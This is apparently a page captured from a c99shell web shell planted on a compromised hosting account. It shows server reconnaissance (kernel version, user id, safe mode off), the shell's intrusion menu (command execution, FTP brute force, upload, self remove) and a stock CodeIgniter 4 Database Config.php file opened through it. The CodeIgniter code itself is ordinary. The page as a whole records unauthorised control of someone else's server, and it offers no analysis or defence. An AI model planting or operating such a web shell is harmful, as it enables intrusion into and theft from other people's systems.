smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Database/   drwxr-xr-x
Free 3473.85 GB of 4265.01 GB (81.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Config.php (3.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\Database;

use 
CodeIgniter\Config\BaseConfig;
use 
InvalidArgumentException;

/**
 * Class Config
 */
class Config extends BaseConfig
{
    
/**
     * Cache for instance of any connections that
     * have been requested as a "shared" instance.
     *
     * @var array
     */
    
protected static $instances = [];

    
/**
     * The main instance used to manage all of
     * our open database connections.
     *
     * @var Database|null
     */
    
protected static $factory;

    
/**
     * Creates the default
     *
     * @param array|string $group     The name of the connection group to use, or an array of configuration settings.
     * @param bool         $getShared Whether to return a shared instance of the connection.
     *
     * @return BaseConnection
     */
    
public static function connect($group nullbool $getShared true)
    {
        
// If a DB connection is passed in, just pass it back
        
if ($group instanceof BaseConnection) {
            return 
$group;
        }

        if (
is_array($group)) {
            
$config $group;
            
$group  'custom-' md5(json_encode($config));
        }

        
$config ??= config('Database');

        if (empty(
$group)) {
            
$group ENVIRONMENT === 'testing' 'tests' $config->defaultGroup;
        }

        if (
is_string($group) && ! isset($config->{$group}) && strpos($group'custom-') !== 0) {
            throw new 
InvalidArgumentException($group ' is not a valid database connection group.');
        }

        if (
$getShared && isset(static::$instances[$group])) {
            return static::
$instances[$group];
        }

        static::
ensureFactory();

        if (isset(
$config->{$group})) {
            
$config $config->{$group};
        }

        
$connection = static::$factory->load($config$group);

        static::
$instances[$group] = &$connection;

        return 
$connection;
    }

    
/**
     * Returns an array of all db connections currently made.
     */
    
public static function getConnections(): array
    {
        return static::
$instances;
    }

    
/**
     * Loads and returns an instance of the Forge for the specified
     * database group, and loads the group if it hasn't been loaded yet.
     *
     * @param array|ConnectionInterface|string|null $group
     *
     * @return Forge
     */
    
public static function forge($group null)
    {
        
$db = static::connect($group);

        return static::
$factory->loadForge($db);
    }

    
/**
     * Returns a new instance of the Database Utilities class.
     *
     * @param array|string|null $group
     *
     * @return BaseUtils
     */
    
public static function utils($group null)
    {
        
$db = static::connect($group);

        return static::
$factory->loadUtils($db);
    }

    
/**
     * Returns a new instance of the Database Seeder.
     *
     * @return Seeder
     */
    
public static function seeder(?string $group null)
    {
        
$config config('Database');

        return new 
Seeder($config, static::connect($group));
    }

    
/**
     * Ensures the database Connection Manager/Factory is loaded and ready to use.
     */
    
protected static function ensureFactory()
    {
        if (static::
$factory instanceof Database) {
            return;
        }

        static::
$factory = new Database();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0078 ]--